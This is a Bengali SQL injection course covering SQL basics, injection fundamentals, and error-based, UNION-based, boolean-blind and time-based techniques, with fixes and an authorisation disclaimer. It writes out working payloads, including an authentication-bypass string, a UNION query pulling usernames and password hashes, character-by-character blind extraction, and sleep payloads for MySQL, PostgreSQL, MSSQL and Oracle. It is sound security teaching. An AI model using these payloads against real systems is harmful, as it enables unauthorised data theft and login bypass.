SQLi শিক্ষাঙ্গনে স্বাগতম
সম্পূর্ণ বাংলায় SQL Injection শেখার একটি কাঠামোবদ্ধ, practical রিসোর্স — fundamentals থেকে শুরু করে bug-bounty report লেখা পর্যন্ত।
আইনি ও নৈতিক সীমারেখা: এই পুরো ডকুমেন্টেশনের কোনো payload, technique বা methodology কখনোই এমন কোনো সিস্টেমে প্রয়োগ করবেন না যার জন্য আপনার লিখিত/স্পষ্ট অনুমতি নেই। শুধুমাত্র নিজের তৈরি করা lab, অনুমোদিত training environment (যেমন PortSwigger Web Security Academy, OWASP Juice Shop) অথবা স্পষ্টভাবে scope-এ থাকা bug-bounty target-এ practice করুন। অননুমোদিত সিস্টেমে টেস্টিং করা অপরাধ এবং এটি Computer Fraud and Abuse Act-এর মতো আইনের আওতায় পড়তে পারে।
এই ডকুমেন্টেশন কীভাবে ব্যবহার করবেন
বাম পাশের sidebar থেকে যেকোনো অধ্যায়ে যেতে পারবেন। প্রতিটি অধ্যায়ের উপরে একটি "এই অধ্যায় সম্পন্ন" চেকবক্স আছে — টিক দিলে sidebar-এ progress bar আপডেট হবে এবং browser-এ স্থানীয়ভাবে সংরক্ষিত থাকবে। প্রতিটি code/payload ব্লকের পাশে একটি "কপি" বাটন আছে।
Learning path
🟢 Beginner
অধ্যায় ১–৩, ৬, ৯–১১, ১৭ — SQL ও SQLi-এর ভিত্তি, major types, manual testing-এর basic ধাপ, prevention।
🟡 Intermediate
অধ্যায় ৪–৮, ১৩–১৪, ১৮–১৯ — কোথায় টেস্ট করতে হয়, payload handbook, Burp Suite, fingerprinting, reporting।
🔴 Advanced
অধ্যায় ১২, ১৫–১৬, ২০–২২ — WAF bypass research, automation, impact assessment, labs ও assessment।
Project status
এই ডকুমেন্টেশনের সবগুলো ২২টি অধ্যায় সম্পূর্ণ লেখা আছে | Fundamentals থেকে শুরু করে প্রতিটি প্রধান SQLi ধরন, টেস্টিং methodology, prevention, এবং bug-bounty reporting পর্যন্ত। প্রতিটি অধ্যায়ের উপরের চেকবক্সে টিক দিয়ে নিজের পড়ার অগ্রগতি ট্র্যাক করতে পারবেন।
SQL ও Database Fundamentals
SQL Injection বোঝার আগে database ও SQL query কীভাবে কাজ করে তা স্পষ্টভাবে জানা জরুরি।
Database কী এবং কেন ব্যবহার করা হয়?
সংজ্ঞা: Database হলো তথ্য সংরক্ষণ করার একটি সুসংগঠিত ব্যবস্থা, যেখানে ডেটা এমনভাবে রাখা হয় যাতে পরবর্তীতে সহজে খোঁজা (query), যোগ করা, পরিবর্তন করা বা মোছা যায়। একটি ই-কমার্স সাইটের ইউজার তথ্য, প্রোডাক্ট তালিকা, অর্ডার হিস্ট্রি — সবকিছুই database-এ থাকে।
কেন গুরুত্বপূর্ণ: ওয়েব অ্যাপ্লিকেশনের প্রায় প্রতিটি ফিচার — লগইন, সার্চ, প্রোডাক্ট দেখা, অর্ডার দেওয়া — আসলে ভেতরে ভেতরে database query চালিয়ে কাজ করে। SQL Injection ঠিক এই query তৈরির প্রক্রিয়াতেই আক্রমণ করে, তাই database কীভাবে কাজ করে না বুঝলে SQLi বোঝা সম্ভব না।
Relational Database ও SQL
আমরা মূলত Relational Database Management System (RDBMS) নিয়ে কথা বলব — যেমন MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite। এই সিস্টেমগুলোতে ডেটা থাকে table আকারে, যা অনেকটা স্প্রেডশিটের মতো — সারি (row) ও কলাম (column) দিয়ে গঠিত।
- Table: একধরনের সম্পর্কিত ডেটার সংগ্রহ, যেমন
usersটেবিল। - Row (record): একটি একক এন্ট্রি, যেমন একজন নির্দিষ্ট ইউজার।
- Column (field): একটি নির্দিষ্ট বৈশিষ্ট্য, যেমন
username,email,password_hash। - Schema: একটি database-এর সামগ্রিক কাঠামো — কোন কোন টেবিল আছে, তাদের কলাম কী কী, এবং তাদের মধ্যে সম্পর্ক কী।
id | username | email | role
---|------------|----------------------|-------
1 | alamin | alamin@example.com | admin
2 | rahim | rahim@example.com | user
3 | karim | karim@example.com | user
SQL কী?
SQL (Structured Query Language) হলো এমন একটি ভাষা যা দিয়ে আমরা relational database-এর সাথে "কথা বলি" — ডেটা জিজ্ঞাসা করি, যোগ করি, পরিবর্তন করি বা মুছি। এটি প্রোগ্রামিং ভাষার মতো loop/function-ভিত্তিক নয়; বরং এটি declarative — আমরা বলি "আমার কী দরকার", আর database ইঞ্জিন ঠিক করে "কীভাবে সেটা আনা হবে"।
প্রধান SQL কমান্ডগুলো
SELECT username, email FROM users WHERE role = 'admin';
এই query-টি users টেবিল থেকে সেই সব সারির username ও email দেখাবে যাদের role-এর মান 'admin'। WHERE clause একটি শর্ত নির্ধারণ করে — শুধু সেই শর্ত সত্য হলে সারিটি ফলাফলে আসবে।
-- নতুন রেকর্ড যোগ করা
INSERT INTO users (username, email, role) VALUES ('nayeem', 'nayeem@example.com', 'user');
-- বিদ্যমান রেকর্ড পরিবর্তন করা
UPDATE users SET role = 'admin' WHERE username = 'nayeem';
-- রেকর্ড মুছে ফেলা
DELETE FROM users WHERE username = 'nayeem';
ORDER BY ফলাফলকে সাজায় (যেমন দামের ভিত্তিতে ascending/descending), আর GROUP BY একই মানবিশিষ্ট সারিগুলোকে একত্র করে সংক্ষিপ্ত হিসাব (যেমন count, sum) তৈরি করতে ব্যবহৃত হয়। JOIN দিয়ে একাধিক টেবিলের ডেটা একসাথে যুক্ত করে দেখা যায় — যেমন orders টেবিলের সাথে users টেবিল জোড়া দিয়ে "কোন ইউজার কী অর্ডার করেছে" বের করা।
SELECT users.username, orders.product_name
FROM orders
JOIN users ON orders.user_id = users.id
WHERE orders.status = 'shipped';
Primary Key, Foreign Key ও Relationship
Primary key হলো একটি টেবিলের প্রতিটি সারিকে অদ্বিতীয়ভাবে চেনার জন্য একটি কলাম (যেমন id)। Foreign key হলো একটি টেবিলের কলাম যা অন্য টেবিলের primary key-কে নির্দেশ করে — এভাবেই টেবিলগুলোর মধ্যে সম্পর্ক (relationship) তৈরি হয়। যেমন orders.user_id আসলে users.id-কে নির্দেশ করে, অর্থাৎ প্রতিটি অর্ডার একজন নির্দিষ্ট ইউজারের সাথে যুক্ত।
Data Types
| Type | উদাহরণ | ব্যাখ্যা |
|---|---|---|
| Integer | 42 | পূর্ণসংখ্যা; quote ছাড়া লেখা হয় |
| String / Varchar | 'alamin' | টেক্সট; সাধারণত single quote দিয়ে ঘেরা থাকে |
| Boolean | TRUE/FALSE | সত্য/মিথ্যা মান (সব DB-তে নেই) |
| NULL | NULL | "কোনো মান নেই" বোঝায়, খালি স্ট্রিং থেকে আলাদা |
| Date/Time | '2026-01-15' | তারিখ ও সময় |
SQL Injection বোঝার জন্য সবচেয়ে গুরুত্বপূর্ণ বিষয় হলো — string value সাধারণত quote দিয়ে ঘেরা থাকে, কিন্তু integer থাকে না। এই পার্থক্যটাই পরবর্তী অধ্যায়ে injection-এর মূল ভিত্তি হয়ে দাঁড়াবে।
Web Application কীভাবে User Input থেকে SQL Query তৈরি করে
একটি সাধারণ লগইন ফর্মের কথা চিন্তা করুন। ইউজার username ও password দেয়, আর backend কোড (PHP, Python, Node.js, Java ইত্যাদি) সেই input নিয়ে একটি SQL query তৈরি করে database-এ পাঠায়:
username = "alamin" // user input
password = "mypassword123" // user input
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
// ফলাফল: SELECT * FROM users WHERE username = 'alamin' AND password = 'mypassword123'
লক্ষ্য করুন — এখানে ইউজারের দেওয়া টেক্সট সরাসরি SQL query-এর ভেতরে "বসিয়ে দেওয়া" হচ্ছে, string concatenation (জোড়া লাগানো) দিয়ে। এটাই হলো সেই pattern, যেখানে যদি ইউজার normal টেক্সটের বদলে বিশেষভাবে তৈরি করা টেক্সট (payload) পাঠায়, তাহলে query-এর অর্থ পুরোপুরি বদলে যেতে পারে — এটাই SQL Injection-এর মূল ভিত্তি, যা অধ্যায় ২-এ বিস্তারিতভাবে দেখব।
Frontend, Backend, Application Server ও Database-এর ভূমিকা
- Frontend: ব্রাউজারে যা দেখা যায় — ফর্ম, বাটন। এখানে client-side validation (যেমন JavaScript দিয়ে ইমেইল ফরম্যাট চেক) থাকতে পারে, কিন্তু এটি কখনোই নিরাপত্তার মূল স্তর নয় — attacker সরাসরি HTTP request পাঠিয়ে frontend সম্পূর্ণ বাইপাস করতে পারে।
- Backend / Application Server: ইউজারের input গ্রহণ করে, business logic চালায়, এবং database query তৈরি করে পাঠায়।
- Database: query গ্রহণ করে, তা execute করে, এবং ফলাফল ফেরত পাঠায়।
SQL Injection ঘটে যখন backend ইউজারের input-কে "ডেটা" হিসেবে না রেখে ভুলভাবে "কোডের অংশ" (query syntax-এর অংশ) হয়ে উঠতে দেয়।
Authentication ও Authorization-এর সঙ্গে Database-এর সম্পর্ক
Authentication (পরিচয় যাচাই) সাধারণত একটি query দিয়ে হয় — ইউজারনেম ও পাসওয়ার্ড (hash আকারে) database-এর সাথে মিলিয়ে দেখা হয়। Authorization (অনুমতি যাচাই) নির্ধারণ করে একজন লগইন করা ইউজার কী কী করতে পারবে — এটিও প্রায়ই database-এ থাকা role বা permission কলামের উপর নির্ভর করে। যেহেতু এই দুটিই query-নির্ভর, তাই SQL Injection দিয়ে এই দুটোকেই বিপর্যস্ত করা সম্ভব — যা অধ্যায় ১৩-এ বিস্তারিতভাবে আলোচনা হবে।
অনুশীলন
নিচের query-টি দেখুন এবং চিন্তা করুন — যদি ইউজার username ফিল্ডে এমন কিছু লেখে যাতে একটি single quote (') থাকে, তাহলে query-এর গঠনে কী পরিবর্তন আসতে পারে?
SELECT * FROM users WHERE username = '<INPUT>'পরের অধ্যায়ে এর বিস্তারিত উত্তর পাবেন।
সারসংক্ষেপ
Database তথ্য সংরক্ষণ করে table/row/column আকারে; SQL দিয়ে সেই তথ্য জিজ্ঞাসা/পরিবর্তন করা হয়; ওয়েব অ্যাপ প্রায়ই ইউজার input-কে সরাসরি query-তে জোড়া লাগিয়ে (string concatenation) query তৈরি করে — এই অভ্যাসটিই SQL Injection-এর মূল কারণ, যা পরের অধ্যায়ে বিস্তারিতভাবে আলোচিত হবে।
Knowledge-check
- Primary key ও foreign key-এর মধ্যে পার্থক্য কী?
- String ও integer value-এর মধ্যে quote ব্যবহারে পার্থক্য কেন গুরুত্বপূর্ণ?
- Client-side validation কেন নিরাপত্তার মূল স্তর হতে পারে না?
SQL Injection Fundamentals
SQL Injection কী, কেন ঘটে, এবং কীভাবে এটি অন্যান্য vulnerability থেকে আলাদা।
SQL Injection কী?
সংজ্ঞা: SQL Injection (SQLi) হলো একটি ওয়েব অ্যাপ্লিকেশন সিকিউরিটি vulnerability, যেখানে attacker ইউজার-ইনপুট ফিল্ডের মাধ্যমে এমন টেক্সট পাঠায় যা backend-এ তৈরি হওয়া SQL query-এর গঠন (structure) পরিবর্তন করে দেয়। ফলে database এমন কাজ করতে বাধ্য হয় যা application developer কখনো চাননি — যেমন authentication বাইপাস করা, গোপন ডেটা বের করে আনা, ডেটা পরিবর্তন/মোছা, বা কিছু ক্ষেত্রে পুরো সার্ভার নিয়ন্ত্রণে নেওয়ার পথ তৈরি হওয়া।
SQLi কেন এবং কীভাবে তৈরি হয়?
অধ্যায় ১-এ দেখেছি, backend প্রায়ই string concatenation দিয়ে query বানায়:
query = "SELECT * FROM users WHERE username = '" + input + "'"
যদি স্বাভাবিক ইউজার alamin লেখে, তাহলে query হয়:
SELECT * FROM users WHERE username = 'alamin'কিন্তু যদি attacker input হিসেবে ' OR '1'='1 পাঠায়, তাহলে query হয়ে যায়:
SELECT * FROM users WHERE username = '' OR '1'='1'
কী ঘটল: attacker-এর দেওয়া single quote (') আগের string literal বন্ধ করে দিল, এরপর OR '1'='1' যোগ হলো — যা সবসময় true, কারণ '1'='1' সবসময় সত্য। ফলে WHERE শর্ত সবসময় সত্য হয়ে যায়, এবং query টেবিলের সব সারি ফেরত দেয় — username যাচাই না করেই। এই নির্দিষ্ট প্যাটার্নটি প্রায়ই authentication বাইপাসের ক্লাসিক উদাহরণ হিসেবে দেখানো হয়, কিন্তু মনে রাখবেন, বাস্তব application-এর exact আচরণ framework, error handling ও query-এর গঠনের উপর নির্ভর করে।
Vulnerable বনাম Secure Query
| ধরন | কোড | সমস্যা |
|---|---|---|
| Vulnerable | "...WHERE id = " + userInput | Input সরাসরি query string-এ জোড়া লাগানো |
| Secure | "...WHERE id = ?" + parameter bind | Input কে ডেটা হিসেবে আলাদাভাবে পাঠানো হয়, কখনো কোড হিসেবে parse হয় না |
Secure পদ্ধতিতে (parameterized query / prepared statement) database driver input ও query-কে আলাদা চ্যানেলে পাঠায়, তাই input যতই "কোডের মতো" দেখতে হোক না কেন, database সেটিকে কখনোই syntax হিসেবে গণ্য করে না — শুধু ডেটা হিসেবে। এটি অধ্যায় ১৭-এ বিস্তারিতভাবে আলোচিত হবে।
User-Controlled Input বনাম Server-Controlled Value
যেকোনো মান যা সরাসরি বা পরোক্ষভাবে ইউজার নিয়ন্ত্রণ করতে পারে তা user-controlled — এর মধ্যে আছে form field, URL parameter, cookie, HTTP header (যেমন User-Agent, যদি তা log/query-তে ব্যবহৃত হয়), JSON body ইত্যাদি। অন্যদিকে, সার্ভারে hardcode করা মান বা ইউজার কখনোই পরিবর্তন করতে পারে না এমন মান হলো server-controlled। SQLi সবসময় user-controlled input-কে কেন্দ্র করে ঘটে — কিন্তু মনে রাখা জরুরি যে "user-controlled" মানেই শুধু visible form field নয়; cookie বা hidden field-ও user-controlled, কারণ attacker ব্রাউজার ছাড়াই সরাসরি HTTP request পাঠিয়ে এগুলো পরিবর্তন করতে পারে।
SQL Syntax, Query Context ও Quoting
Injection সফল হয় কি না তা নির্ভর করে input ঠিক কোথায় বসছে তার উপর — একে বলে query context। প্রধান তিনটি context:
String context
WHERE name = 'input' — এখানে input একটি quoted string-এর ভেতরে বসে; injection-এর জন্য প্রথমে quote বন্ধ করতে হয়।
Numeric context
WHERE id = input — এখানে কোনো quote নেই, তাই সরাসরি SQL keyword/operator যোগ করা যায়।
Identifier/clause context
ORDER BY input — এখানে input কলামের নাম বা দিক (ASC/DESC) নির্ধারণ করে, ভিন্ন ধরনের payload দরকার হয়।
তাই একটি payload যা string context-এ কাজ করে, তা numeric context-এ কাজ নাও করতে পারে — এবং উল্টোটাও সত্য। প্রতিটি testing ধাপে context বোঝা আবশ্যক।
SQLi-এর Root Causes
- Input ও code (query syntax)-কে আলাদা না রাখা — string concatenation দিয়ে query বানানো।
- Input validation-এর ঘাটতি বা শুধু client-side validation-এর উপর নির্ভর করা।
- ORM বা query builder ভুলভাবে ব্যবহার করা (যেমন raw query মোডে ফিরে যাওয়া)।
- Dynamic table/column নাম তৈরির সময় allowlist ব্যবহার না করা।
- Database account-কে প্রয়োজনের চেয়ে বেশি privilege দেওয়া, যা impact বাড়িয়ে দেয়।
SQLi বনাম XSS, IDOR ও Command Injection
| Vulnerability | লক্ষ্য | মূল পার্থক্য |
|---|---|---|
| SQL Injection | Database query | Input, SQL syntax-এর অংশ হয়ে যায় |
| XSS (Cross-Site Scripting) | ব্রাউজার (client-side) | Input, HTML/JavaScript হিসেবে render হয়; server-এর বদলে ভিকটিমের ব্রাউজারে কার্যকর হয় |
| IDOR (Insecure Direct Object Reference) | Authorization logic | Query নিরাপদ থাকতে পারে, কিন্তু অনুমতি-যাচাই অনুপস্থিত — যেমন নিজের id দিয়ে অন্যের অর্ডার দেখতে পারা |
| Command Injection | OS shell | Input, SQL-এর বদলে operating system command-এর অংশ হয়ে যায় |
এই পার্থক্যগুলো গুরুত্বপূর্ণ কারণ একই লক্ষণ (যেমন unexpected error বা ডেটা leak) একাধিক ভিন্ন vulnerability থেকে আসতে পারে — ভুল শ্রেণীবিভাগ ভুল fix-এর দিকে নিয়ে যেতে পারে।
SQLi-এর Security Impact এবং Risk Assessment
SQLi-এর impact নির্ভর করে — database account-এর privilege কতটা, কী ধরনের ডেটা সংরক্ষিত আছে, injection কোন ধরনের (read-only নাকি write-capable), এবং application-এর আর্কিটেকচার কেমন। সম্ভাব্য impact-এর মধ্যে আছে: confidentiality (গোপন ডেটা ফাঁস), integrity (ডেটা পরিবর্তন), availability (ডেটা মুছে ফেলা বা সার্ভিস বিঘ্নিত করা), এবং কিছু ক্ষেত্রে authentication বাইপাস বা privilege escalation।
CVSS ও Severity নির্ধারণের প্রাথমিক ধারণা
CVSS (Common Vulnerability Scoring System) হলো একটি মানসম্মত পদ্ধতি যা দিয়ে vulnerability-এর তীব্রতা (severity) সংখ্যাগতভাবে (০–১০) প্রকাশ করা হয়। SQLi-এর ক্ষেত্রে CVSS score নির্ধারণে বিবেচ্য বিষয়: attack vector (network থেকে সম্ভব কি না), privileges required (authentication লাগে কি না), এবং confidentiality/integrity/availability-এর উপর প্রভাবের মাত্রা। একটি unauthenticated, data-exfiltration-সক্ষম SQLi সাধারণত Critical (৯.০+) হিসেবে বিবেচিত হয়, যেখানে একটি authenticated, সীমিত-impact blind SQLi হয়তো Medium-High রেঞ্জে পড়তে পারে। প্রকৃত score নির্ধারণের জন্য official CVSS calculator ব্যবহার করা উচিত; এখানে শুধু প্রাথমিক ধারণা দেওয়া হলো।
অনুশীলন
নিচের দুটি query-এর মধ্যে কোনটি ' OR '1'='1 টাইপ attack-এর জন্য ঝুঁকিপূর্ণ, এবং কেন?
// A
"SELECT * FROM users WHERE id = " + userId // userId সংখ্যা হওয়ার কথা
// B
"SELECT * FROM users WHERE name = '" + userName + "'"সারসংক্ষেপ
SQL Injection ঘটে যখন user input, SQL query-এর syntax-এ মিশে যায় এবং query-এর মূল গঠন পরিবর্তন করে দেয়। এটি query context (string/numeric/identifier)-এর উপর নির্ভরশীল, এবং এর impact database privilege ও application আর্কিটেকচারের উপর নির্ভর করে পরিবর্তিত হয়।
Knowledge-check
' OR '1'='1payload কেন কাজ করে — ধাপে ধাপে ব্যাখ্যা করুন।- String context ও numeric context-এর জন্য payload কেন আলাদা হতে হবে?
- SQLi ও IDOR-এর মূল পার্থক্য কী?
SQLi-এর প্রধান ধরন
এই অধ্যায়ে SQLi-এর ১৭টি প্রধান ধরন বিস্তারিতভাবে আলোচনা করা হয়েছে — Error-based থেকে শুরু করে Search/Filter/Sort injection পর্যন্ত।
নিচের সব উদাহরণ একটি fictional ওয়েব অ্যাপ্লিকেশন ("ShopMock") এবং synthetic ডেটার উপর ভিত্তি করে তৈরি, শুধুমাত্র শেখার উদ্দেশ্যে। এগুলো শুধুমাত্র নিজের lab বা অনুমোদিত পরিবেশে প্রয়োগ করুন।
১. Error-Based SQL Injection
এটি কী: Error-based SQLi হলো এমন একটি কৌশল যেখানে attacker ইচ্ছাকৃতভাবে database-এ একটি syntax বা logical error ঘটায়, এবং application সেই error message (বা তার কিছু অংশ) সরাসরি response-এ দেখিয়ে দেয়। এই error message থেকে database সম্পর্কে তথ্য (table নাম, column নাম, এমনকি actual ডেটা) বের করে আনা যায়।
কেন ঘটে: Development বা debugging পরিবেশে প্রায়ই verbose error reporting চালু রাখা হয়, যা production-এও ভুলবশত থেকে যায়। যখন backend database error-কে catch না করে সরাসরি ইউজারকে দেখায়, তখন এই ফাঁক তৈরি হয়।
কীভাবে কাজ করে: একটি single quote পাঠিয়ে query ভেঙে দিলে database একটি syntax error তৈরি করে। যদি সেই error response-এ দৃশ্যমান হয়, তাহলে বোঝা যায় input database query-তে পৌঁছাচ্ছে এবং sanitize হচ্ছে না।
Normal request: GET /product?id=7
Backend query: SELECT name, price FROM products WHERE id = 7
Test input: GET /product?id=7'
Backend query: SELECT name, price FROM products WHERE id = 7'
Database error: You have an error in your SQL syntax near "'" at line 1
Evidence: একটি single quote পাঠানোর পর database-নির্দিষ্ট error message (যেমন MySQL-এর "You have an error in your SQL syntax") দেখা যাওয়া শক্তিশালী ইঙ্গিত। তবে এটি নিজে থেকেই exploitation প্রমাণ করে না — শুধু বোঝায় যে input query-তে পৌঁছাচ্ছে।
Manual testing: একটি করে parameter-এ ', ", \, ) পাঠিয়ে response পর্যবেক্ষণ করুন। error message-এর টেক্সট, HTTP status code এবং response length বেসলাইনের (normal request) সাথে তুলনা করুন।
কোন পরিস্থিতিতে উপযোগী: যখন application verbose error দেখায় (সাধারণত development/staging পরিবেশে, বা misconfigured production-এ)। Production-এ generic error page থাকলে এই টেকনিক কাজ করবে না — তখন blind techniques প্রয়োজন।
Common false positives: একটি generic HTTP ৫০০ error (যার মধ্যে কোনো SQL-নির্দিষ্ট তথ্য নেই) মানেই SQLi নয় — এটি অন্য কোনো backend bug-ও হতে পারে। শুধুমাত্র তখনই confirm করুন যখন error message-টি স্পষ্টভাবে database engine-এর নিজস্ব syntax বা keyword উল্লেখ করে।
সম্ভাব্য impact: Error message-এর মাধ্যমে table/column নাম জানা গেলে, তা পরবর্তীতে UNION-based বা অন্য টেকনিকে সুনির্দিষ্ট ডেটা বের করতে ব্যবহার করা যায় — তাই নিজে থেকে কম impact মনে হলেও এটি প্রায়ই পরবর্তী ধাপের চাবিকাঠি।
Fix: Production-এ generic error page দেখানো, prepared statement ব্যবহার করা (ফলে error-ই ঘটবে না), এবং centralised error logging রাখা যাতে developer দেখতে পারে কিন্তু ইউজার না দেখে।
Database-specific error patterns (সংক্ষিপ্ত)
| DBMS | Typical error signature |
|---|---|
| MySQL | "You have an error in your SQL syntax; check the manual..." |
| PostgreSQL | "ERROR: syntax error at or near ..." |
| MSSQL | "Unclosed quotation mark after the character string ..." |
| Oracle | "ORA-00933: SQL command not properly ended" |
| SQLite | "near \"...\": syntax error" |
২. UNION-Based SQL Injection
এটি কী: UNION-based SQLi একটি in-band কৌশল, যেখানে attacker SQL-এর UNION অপারেটর ব্যবহার করে মূল query-এর ফলাফলের সাথে নিজের তৈরি করা একটি দ্বিতীয় query-এর ফলাফল জুড়ে দেয়, এবং application-এর নিজস্ব response-এর ভেতরেই সেই অতিরিক্ত ডেটা দেখতে পায়।
কেন ঘটে: Application যদি query result সরাসরি response page-এ দেখায় (যেমন product নাম, দাম) এবং input sanitize না হয়, তাহলে UNION SELECT দিয়ে অন্য টেবিলের ডেটা সেই একই জায়গায় "ইনজেক্ট" করে দেখানো সম্ভব।
কীভাবে কাজ করে — ধাপে ধাপে:
- Column count নির্ধারণ: মূল query ঠিক কতগুলো কলাম ফেরত দেয় তা জানা দরকার, কারণ
UNION-এর দুই পাশের কলাম সংখ্যা মিলতে হয়। - Data type সামঞ্জস্য: প্রতিটি কলামের data type (string/number) মিলতে হবে, নইলে error আসবে।
- কোন কলাম display হয়: response-এ আসলে কোন কলামের মান দেখানো হচ্ছে তা শনাক্ত করে, সেই জায়গায় কাঙ্ক্ষিত ডেটা বসানো।
GET /product?id=7 ORDER BY 1-- (ঠিক আছে)
GET /product?id=7 ORDER BY 2-- (ঠিক আছে)
GET /product?id=7 ORDER BY 3-- (ঠিক আছে)
GET /product?id=7 ORDER BY 4-- (Error: "Unknown column '4' in order clause")
→ এখান থেকে বোঝা যায় মূল query-তে কলাম সংখ্যা ৩টি।
GET /product?id=-1 UNION SELECT NULL, NULL, NULL--
→ এরপর কোন position-এ টেক্সট দেখা যাচ্ছে তা বোঝার জন্য একটি করে NULL-কে
পরিচিত স্ট্রিং দিয়ে প্রতিস্থাপন করুন:
GET /product?id=-1 UNION SELECT NULL, 'MARKER123', NULL--
→ যদি response-এ "MARKER123" দেখা যায়, তাহলে দ্বিতীয় কলামটি display হয়।
GET /product?id=-1 UNION SELECT NULL, username, password_hash FROM users--
Evidence: response-এ এমন ডেটা দেখা যাওয়া যা মূল query (products টেবিল) থেকে আসার কথা না — যেমন username/password_hash জাতীয় মান। id=-1 ব্যবহার করা হয় যাতে মূল query কোনো সারি ফেরত না দেয়, ফলে শুধু UNION-এর ফলাফলই স্পষ্টভাবে দেখা যায়।
Database-specific note: MySQL-এ একটি একক query-তে SELECT ছাড়া sub-query চালানো সহজ না হলেও UNION সরাসরি সমর্থিত; Oracle-এ প্রতিটি SELECT-এ অন্তত একটি টেবিল লাগে, তাই FROM dual ব্যবহার করতে হয় (যেমন UNION SELECT NULL FROM dual); MSSQL ও PostgreSQL-এ টেবিল ছাড়াই SELECT চলে।
Common false positives: Column count ভুল হলে error আসবে, কিন্তু সেই error মানেই vulnerability না থাকা নয় — শুধু column count ভুল; আরও চেষ্টা প্রয়োজন। Data-type mismatch error-ও একই রকম বিভ্রান্তি তৈরি করতে পারে।
সম্ভাব্য impact: UNION-based SQLi সাধারণত সবচেয়ে বেশি তথ্য দ্রুত বের করার সুযোগ দেয়, কারণ এটি সরাসরি response-এ ডেটা দেখায় (in-band) — blind টেকনিকের তুলনায় অনেক দ্রুত।
Fix: Parameterized query ব্যবহার করলে input কখনোই UNION keyword হিসেবে parse হবে না, যতই সেটি টেক্সটে থাকুক না কেন।
৩. Boolean-Based Blind SQL Injection
এটি কী: Boolean-based blind SQLi তখন ব্যবহৃত হয় যখন application response-এ সরাসরি ডেটা বা error message দেখায় না, কিন্তু একটি query-এর true/false ফলাফলের উপর ভিত্তি করে response-এর আচরণ (content, length, বা status code) আলাদা হয়ে যায়।
কেন ঘটে: Input এখনো sanitize না হয়ে query-তে পৌঁছাচ্ছে, কিন্তু application error suppress করে রেখেছে (generic error page)। তবুও condition true না false তার ভিত্তিতে response আলাদা হওয়ায় একটি "হ্যাঁ/না" চ্যানেল তৈরি হয়।
কীভাবে কাজ করে: Attacker একটি condition পাঠায় যা সবসময় true, এবং একটি যা সবসময় false, তারপর দুই response তুলনা করে। যদি আলাদা হয়, তাহলে বোঝা যায় condition response-কে প্রভাবিত করছে — এরপর ধাপে ধাপে (bit-by-bit বা character-by-character) প্রকৃত ডেটা সম্পর্কে true/false প্রশ্ন করে তথ্য পুনর্গঠন করা যায়।
GET /product?id=7 AND 1=1-- → স্বাভাবিক response (প্রোডাক্ট দেখা যায়)
GET /product?id=7 AND 1=2-- → ভিন্ন response (প্রোডাক্ট "পাওয়া যায়নি")
→ দুটি response-এর পার্থক্য প্রমাণ করে যে condition সত্যিই query-কে প্রভাবিত করছে।
GET /product?id=7 AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a'--
→ response "true" হলে প্রথম অক্ষর 'a'; "false" হলে পরবর্তী অক্ষর চেষ্টা করুন (b, c, ...)
→ এভাবে পুরো username ধীরে ধীরে পুনর্গঠন করা সম্ভব।
Evidence: একই request দুইবার, শুধু condition আলাদা রেখে পাঠিয়ে response-এর বিষয়বস্তু/দৈর্ঘ্য/status code-এ ধারাবাহিক ও পুনরুৎপাদনযোগ্য (repeatable) পার্থক্য দেখা।
Common false positives: Dynamic content (যেমন "View count: 1234" যা প্রতিবার বাড়ছে), caching, বা session-নির্ভর ডেটা response-এ ছোট পার্থক্য তৈরি করতে পারে যা condition-এর সাথে সম্পর্কিত নয়। তাই একই condition বারবার পাঠিয়ে ফলাফল সামঞ্জস্যপূর্ণ (consistent) কি না তা যাচাই করা জরুরি।
সম্ভাব্য impact: Error-based বা UNION-based-এর চেয়ে ধীর (প্রতিটি অক্ষরের জন্য একাধিক request লাগে), কিন্তু সমানভাবে বিপজ্জনক — সময় নিয়ে পুরো ডেটাবেস বের করে আনা সম্ভব।
Fix: Parameterized query; এছাড়াও generic error page থাকা সত্ত্বেও true/false condition আলাদা response তৈরি না করা (uniform response/behavior) একটি ভালো defense-in-depth অভ্যাস।
৪. Time-Based Blind SQL Injection
এটি কী: Time-based blind SQLi তখন ব্যবহৃত হয় যখন response content-এ কোনো দৃশ্যমান পার্থক্যও থাকে না (এমনকি boolean-based টেকনিকও কাজ করে না), কিন্তু attacker একটি conditional delay function ব্যবহার করে — যদি condition true হয়, database কয়েক সেকেন্ড "ঘুমিয়ে" থাকে, আর response আসতে সেই পরিমাণ সময় বেশি লাগে।
কেন ঘটে: Input এখনো query-তে পৌঁছাচ্ছে, কিন্তু response content সম্পূর্ণ identical থাকে true/false উভয় ক্ষেত্রেই — একমাত্র পার্থক্য response আসার সময়ে (timing)।
-- MySQL
?id=7 AND IF(1=1, SLEEP(5), 0)--
-- PostgreSQL
?id=7 AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
-- Microsoft SQL Server
?id=7; IF (1=1) WAITFOR DELAY '0:0:5'--
-- Oracle (delay-সক্ষম function কল, lab-নির্ভর)
?id=7 AND 1=(SELECT CASE WHEN (1=1) THEN DBMS_LOCK.SLEEP(5) ELSE NULL END FROM dual)
Evidence: condition=true হলে response আসতে উল্লেখযোগ্যভাবে বেশি সময় লাগা (যেমন ~৫ সেকেন্ড), আর condition=false হলে স্বাভাবিক সময় লাগা — এবং এই পার্থক্য বারবার test করলে সামঞ্জস্যপূর্ণভাবে পুনরুৎপাদনযোগ্য হওয়া।
Network latency ও timing noise: ইন্টারনেট/নেটওয়ার্কের স্বাভাবিক ওঠানামার কারণে একবারের measurement বিভ্রান্তিকর হতে পারে। তাই একাধিকবার (৩–৫ বার) measurement নিয়ে গড় (average) ও consistency যাচাই করা উচিত, এবং delay value যথেষ্ট বড় (যেমন ৫–১০ সেকেন্ড) রাখা উচিত যাতে স্বাভাবিক নেটওয়ার্ক latency-এর সাথে গুলিয়ে না যায়।
Common false positives: সার্ভার-সাইড rate limiting, ধীর তৃতীয়-পক্ষ API কল, অথবা সাময়িক সার্ভার লোড — এসবও response delay তৈরি করতে পারে। তাই false condition-এর সাথে বারবার তুলনা করা আবশ্যক।
